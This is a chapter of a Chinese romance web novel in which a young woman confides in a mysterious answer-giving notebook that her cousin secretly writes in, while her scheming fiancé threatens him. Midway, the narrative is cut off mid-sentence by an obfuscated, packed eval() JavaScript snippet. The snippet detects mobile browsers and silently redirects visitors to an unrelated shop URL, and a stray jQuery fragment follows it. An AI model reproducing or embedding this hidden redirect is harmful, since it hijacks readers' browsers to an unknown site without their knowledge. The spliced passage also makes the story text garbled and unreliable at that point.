文趣网 > 都市小说 > 捡到清冷兄长的本子后 > 4. 祠堂
    讲学终于散了,洛春枝低着头往外走,不想和任何人说话。

    学子们三三两两地议论着什么,她只当是闲话,没在意。绕过回廊时,却听见两个人在说:

    “听说了吗?陈公子死了。”

    “哪个陈公子?”

    “就是上届和林探花同榜的那个,说是赴任路上遭了匪,可怜陈夫人白发人送黑发人……”

    洛春枝猛地站住,手里的帕子掉在地上。陈公子?陈夫人的儿子……死了?

    陈夫人从去栖霞寺的马车上便一直在夸她,还跟母亲约好了过段日子再到寺里吃斋饭。

    从寺回府的马车里,青杏告诉她,那两夜陈夫人都在菩提树下翻红签,一张一张的,不知道在找什么,嘴里还念念有词。

    兀地想起林玉璋昨日那句“你兄长和弟弟,都还要参加科举。”洛春枝浑身一颤,如果有一天,冬野也像陈公子那样……

    她拼命摇头,把那念头甩掉,可它像毒蛇一样缠了回来。

    洛春枝弯腰捡起帕子,手指还在发抖。初夏的暖阳照在身上,只觉得阵阵的冷意。

    “观其对下之色,处困境之态。闻其身后之言,索案牍之行。”

    他在父亲面前的恭顺、他得势后的猖狂,困境中摇尾乞怜,得势后忘恩负义。

    这本书,说得一点没错。

    可她该怎么让旁人也看见?

    -

    回廊下,李怀川倚栏而坐,竹叶漏下的光在他月白色的外袍上镀了层碎金。

    发丝被风扬起,轻扫在眉骨两侧,路过回廊的人少有不看他的。

    那双琥珀色的眸子叫光映着,像暖阳下波光粼粼的湖面,偏偏眉眼间尽是疏离。下学的学子三三两两,只敢侧目小声道“是洛府的表少爷”。

    修长的手指夹着一枚白棋,轻轻落在棋盘上,发出一声脆响。

    “沈砚。”方才在台上侃侃而谈的人走到他身前,看着那张棋局,落下一句:“我从未在太学见过你。”

    李怀川抬手一礼:“沈某才疏学浅,自是入不了探花的眼。”

    “我不管你打的什么主意,她现在是我的未婚妻,你一个外姓表兄,再敢靠近她半步,别怪我不客气。”

    外姓表兄。

    李怀川嘴角挂上浅浅一笑,眉眼未移,甚至不曾看他一眼:“那沈某在此,祝林工部回京平步青云,得偿所愿。”

    林玉璋不屑地哼了声,一挥袍袖,甩手走了。

    后头几个人小跑着跟上林玉璋,学子散去,回廊又只剩下他一人。

    棋盘纵横交错,眸色转冷,李怀川又落了一子,正堵在黑棋的死穴上。

    -

    夜风还带着白日未散尽的温热,软软地吹过他耳边,撩拨着纸页。

    李怀川翻开书时,眉头几不可察地皱了皱。

    她的字迹一角晕开了一圈墨,淡痕一路滑下去,停留的地方有几缕细小的纸屑,纸张比旁处薄上一些。他伸出二指,轻轻捻了捻,还有微微的湿润。

    眼泪?

    他想起佛前那个跪了很久的单薄背影,想起院门外压抑的哭声。

    到底是受了多大的委屈,会叫她害怕成这样?

    他收回手,捏了捏眉心。

    【此人入诡谲之地,如登青云,又作何解?】

    窗外草丛里虫鸣声声,忽高忽低,忽远忽近,像是谁在怯怯地诉说着心事。

    案头的烛焰在微风里轻轻地晃,将他的身影投在窗户的纱纸上。笔抬起又落下,李怀川压下脑中频频出现的画面,只是盯着那滴晕墨,又将指腹放了上去。

    “公子,公子。”墨书轻声在门外唤道。

    “何事?”

    “京城来的信。”

    李怀川看完,轻嗤一声,夹着信纸凑近烛火,火舌瞬间蹿上纸末,大快朵颐地将字迹吞没。一松手,灰烬便散落在书案一角。

    擦了擦手,他重新提起笔,舒然在纸上落墨:

    【奸邪狡诈,不可深交。诱之以利,尽现爪牙。】

    -

    洛春枝本打算等天亮透了再去祠堂,可天刚擦亮,腿已经迈出了门。

    走到东院门口,却没来由地放慢了步子。她没多想,只觉是总惦记着那本书。

    轻轻往四周扫了一眼,东院静悄悄的,只有树叶沙沙的轻响。这个时辰,也不会有人经过。

    洛春枝快步进了祠堂,手指一点点摩挲着那句话时,眼前却有些模糊。

    她想起太太们总夸,林玉璋在京中与权贵走动频繁,却总把“江州的婚约”挂在嘴边,生怕人家不知道似的。

    他不是不想退婚,是不能退。退了,就是背信弃义,他要把“糟糠之妻不下堂”的名声立住了,才好去攀更高的枝。

    而她不过是他的一块踏脚石。

    成了,他博得个好名声。不成,他还有她这个退路。

    可书上说的,是他“奸邪狡诈,不可深交。”

    原来,不只有她见过林玉璋的另一副面孔吗?原来,这世上当真会有人相信她。

    这书当真神奇,当真懂她的心!

    低下头,她用袖口飞快地擦了擦眼角,小心抬眼环视着祠堂。

    门窗关得完好,案头的长明灯燃了过半,先祖的排位上蒙着一层薄薄的灰,家中祠堂是五日一扫,这几日,该是不会有人到这来。

    洛春枝取了尘担,轻轻扫过台前尘埃,又在蒲团上跪了半晌。

    “洛家先祖在上,保佑保佑春枝吧。”

    若真能叫人看清林玉璋的真面目,真能让她退了婚,便是此生不嫁,日日侍奉祠堂,她也是愿意的。

    又叩了三次首,洛春枝才理好裙摆起身,跨出祠堂,眼前猛然有一瞬的晕眩。

    “当心。”

    一道清如山泉的声音,伴着腕间温热的触感传来。隔着衣袖的轻纱,一双骨节分明的手轻轻握住了她的袖口。

    “表、表兄,您怎么在这?”

    他没有立刻回答,晨光里,她的睫毛上像还挂着雾气,眼眶微红。

    李怀川垂下眼,淡淡道:“路过。”

    话刚问出口,洛春枝便意识到不对了,表兄就住在东院,在此处出现,倒是比她更合情理。

    怯怯收回视线,她清了清嗓子,道了声“多谢”。

    少女发髻上雪白的绒花在头顶轻颤,两条垂辫也因离开的步伐太快而上下跃动。一身水蓝色长裙,罩件桃粉纱衫,明媚得像是春天枝头上的小花。

    李怀川翻过

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17810981|210825||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    掌心,指尖还有几分润意,他轻轻捻了捻。

    五月初夏,手腕竟还这样凉。

    祠堂无水,袖口却是温湿的。

    再抬眼时,那抹身影已是消失在月亮门外。

    洛春枝一路走得快,还没到西院,青杏远远地就朝自己跑来。

    “小姐!一大早的可让奴婢好找。”将人拉进廊下,青杏从怀里掏出一封信,封泥上印着一个篆书“婉”字。

    夏婉的信,她可盼了好些日子。

    洛春枝忙回房放了本子,飞快地用小刀将信拆开,再取下封泥放入自己的小匣子中。

    两年前夏婉随夏伯父归京,二人便只能靠书信来往。

    夏婉最是喜欢新鲜事物,街口新开的小店,铺子里最时兴的胭脂首饰,布庄只染了几匹的花布,夏婉都会第一时间拉着她去买。

    头回听说那林玉璋被点作探花,她巴不得哪位大人将他榜下捉去做女婿,好将婚给退了。又怕他真叫人捉去,害了别家的姑娘。

    想到这,洛春枝摇摇头,展开了信纸。

    “小阿吱,近来可好?我有两件新鲜事儿要与你说。”

    小笺上的语气欢脱,没有什么文邹邹的话语,那是夏婉独一份的。

    夏婉说,最近京中十分流行一种叫做“答案之册”的小本子,很是新鲜,据说把心中的疑惑写在纸上,放到一个地方等上几日,就能够得到应答。

    不光京城的公子小姐们争相抢着,听她父亲说,官场里也有不少同僚暗里用着此物。

    不过这类可以写上去的本子很是稀少,每次铺子里还没到货,就早被各家订完了。她父亲不允许自己看这些,夏婉就只好同其他人一样,月月去铺子里蹲守。

    蹲守的是另一类答案之册,是预先在书中写了很多种回答,遇到困惑之前,在心中默念几遍,再随意翻开一页,就会有书的回应。

    不过就是这般,也抢手得很。

    洛春枝看了眼手边的本子,莫非就是这答案之册?按夏婉写信的日子来算,该是能传到江州来。

    不过她手上这本,若是连京城都一书难求的那种,又怎会让自己捡到。

    洛春枝想了想,从前永兴坊做的点心好吃,每到时令推出新品后,一糕难求,之后便会有其他铺子跟着做相同的来,只是口味差一点儿。

    这么说来,莫非是有人见京城的答案之册红火,便仿着类似的做了她捡到的这本。可若是仿制的本子,也会这般神奇吗?

    想着想着,目光又垂了下去。

    今早看见书上那句“奸邪狡诈,不可深交”时,她还想这书太懂她了。

    一遍遍地摩挲着那行笔迹,还在感慨到底是何方圣人,才会有这样通透的眼力。

    洛春枝叹了一声,把书合上。

    原来真是京城传来的宝贝,是啊,他那样的人,又怎屑于和自己玩这种小把戏。

    她低头,手腕上那残存的温度还盘旋在心口。隔着衣袖的轻纱,分明不过轻轻一握,怎么会像烙在肌肤上,散不去似的。

    伸手缓缓扣住,那温热的感觉让她忽然想起,自己刚才用袖子擦过眼泪。

    那他是不是……

    洛春枝耳尖一热,咬了咬唇,将手垂了下去,没敢再想。